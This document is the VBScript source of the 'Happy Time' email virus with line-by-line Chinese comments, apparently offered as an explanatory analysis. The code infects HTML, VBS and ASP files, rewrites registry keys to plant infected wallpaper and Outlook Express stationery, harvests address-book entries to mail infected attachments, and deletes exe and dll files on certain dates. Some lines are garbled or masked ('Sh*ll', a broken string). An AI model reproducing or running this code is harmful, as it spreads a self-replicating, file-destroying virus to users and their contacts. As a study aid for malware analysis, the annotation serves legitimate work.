‘*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
‘以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Sh*ll .Application")
‘建立枚举对象,避开了安全审核
If IsHTML Then
‘调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:/Help.htm"
Os.Doc = Lhtml()
Os.Write()
‘如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
‘超文本的内容,并指向C:/Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
‘设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "/" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
‘生成Help.hta
End If
End If
End If
Else
Main
‘都不是,就执行main函数
End If
End Sub
‘******************************************************************
‘以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
‘创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
‘向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER/Software/"
‘使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
‘如果是VBS
If Of.FileExists("C:/help.htm") Then
Of.DeleteFile ("C:/help.htm")
‘如果c:/help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
‘如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
‘就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "Help/Count")
‘读注册表中的HKEY_CURRENT_USER/Software/Help/Count键值
If Cn = "" Then
Cn = 1
‘如果Count为0,就设为1
End If
Rw Ks & "Help/Count", Cn + 1
‘添加HKEY_CURRENT_USER/Software/Help/Count键值,值为2
f1 = Rg(Ks & "Help/FileName")
‘再读HKEY_CURRENT_USER/Software/Help/FileName键值
f2 = FNext(Of, Od, f1)
‘得到该文件的文件名
fext = GetExt(Of, Od, f2)
‘得到该文件扩展名的代号
Rw Ks & "Help/FileName", f2
‘添加键值
If IsDel(fext) Then
‘如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
‘储存文件名
f2 = FNext(Of, Od, f2)
‘得到文件的文件名?
Rw Ks & "Help/FileName", f2
‘写注册表
Of.DeleteFile f3
‘删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
‘如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
‘使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
‘比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "/Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
‘创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor=‘#007f7f‘ background=‘" & n1 & "‘><
" & "/Body><" & "/HTML>" & mt
‘超文本的内容
pfc.Close
Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
‘将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)
fc.Write Sa("0100")
‘创建vbs文件
fc.Close
bf = Cs & "/Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
‘创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook E
xpress/5.0/Mail"
MSH = oe & "/Message Send HTML"
CUS = oe & "/Compose Use Stationery"
SN = oe & "/Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
‘在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows/untitled.htm
Web = Cs & "/WEB"
Set gf = Of.GetFolder(Web).Files
‘得到windows/web文件夹里的文件
Od.Add "htt", "1100"
‘向Dictionary里添加htt项目对
For Each m In gf
‘遍历windows/web下的每一个文件
fext = GetExt(Of, Od, m)
‘得到每个文件的扩展名
If fext <> "" Then
‘如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
‘******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!‘写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
‘******************************************************************
Sub Fw(Of, S, n)
‘此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
‘只读模式打开该文件
mt = fc.ReadAll
‘读入全部文件流
fc.Close
‘关闭文件
If Not Sc(mt) Then
‘如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
‘打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
‘发带毒邮件
End If
End Sub
‘******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
‘如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
‘表示已感染过,返回True,否则为False
End If
End Function
‘******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
‘初始化变量
If Of.FileExists(S) Then
‘如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
‘得到文件的父目录名
fname = S
‘得到文件名
ElseIf Of.FolderExists(S) Then
‘不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
‘得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
‘得到当前目录下的所有文件对象
For Each m In gf
‘遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
‘如果该文件是文件集合中的一员
FNext = m
‘则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
‘如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ‘
Loop
End Function
‘******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
‘如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
‘就得到子目录数
pn = gp.Count
If pn = 0 Then
‘如果没子目录
Ppath = LCase(S) ‘
Npath = LCase(Of.GetParentFolderName(S))
‘得到父目录的小写形式
T = True
Else
Npath = LCase(S)
‘有子目录,得到其小写形式的集合
End If
Do While Not Er ‘
For Each pn In Of.GetFolder(Npath).SubFolders
‘得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
‘将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) ‘
If Of.GetFolder(Ppath).IsRootFolder Then
‘如果是根目录
m = Of.GetDriveName(Ppath)
‘就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
‘******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
‘得到所有的驱动器盘符
For Each d In dc
‘遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
‘如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
‘如果是False,就返回当前盘,并退出本函数
Else
If LCase(S) = LCase(d) Then
‘如果是True且盘符相同,就令T为True
T = True
End If
If m = "" Then
‘如果m为空,就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m
‘返回盘符
End Function
‘******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
‘返回该文件扩展名的小写
GetExt = Od.Item(fext)
‘返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function
‘******************************************************************
Sub Rw(k, v)
‘写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
R.RegWrite k, v
End Sub
‘******************************************************************
Function Rg(v)
‘读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
Rg = R.RegRead(v)
End Function
‘******************************************************************
Function IsVbs()
‘此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
‘如果出错,则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
‘******************************************************************
Function IsHTML()
‘此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
‘如果出错,则不是超文本
Else
IsHTML = True
End If
End Function
‘******************************************************************
Function IsMail(S)
‘此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
‘返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
‘如果有“@”符号且“@”在“."之前,则是邮件地址
IsMail = True
End If
End If
End Function
‘******************************************************************
Function Gsf()
‘得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
‘得到特殊目录——Windows、System和Temp目录
If Er Then
‘如果失败,返回C:/
Gsf = "C:/"
Else
‘若正常,则返回%Windows%
Gsf = m
End If
End Function
‘******************************************************************
Function Lhtml()
‘写入超文本的内容,其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function
‘******************************************************************
Function Lscript(S)
‘写入vbscript的声明
Lscript = "<" & "script language=‘VBScript‘>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
‘******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
‘得到文件流的长度
l2 = Len(S2)
‘得到mailt的长度
i = InStr(S1, S2)
‘在文件流中查找mailt第一次出现的位置——值为一个数
If i > 0 Then
‘找到则进行字符串操作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
‘******************************************************************
Function Og()
‘得到WAB(通讯簿)中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
‘创建Outlook应用程序对象,Outlook和Outlook Express都跑不掉啦!
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function
‘******************************************************************
Sub Tsend()
‘发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
‘设置邮件标题
MM.RecipAddress = m
‘此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "/Untitled.htm"
‘添加附件Windows/Untitled.htm
MM.Send
‘发送!
Next
MS.SignOff
End Sub
‘******************************************************************
Function Er()
‘设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
‘******************************************************************
Function IsDel(S)
‘此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
‘看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True
‘如是,返回True,以备删除
Else
IsDel = False
‘如不是,返回False
End If
End Function
‘******************************************************************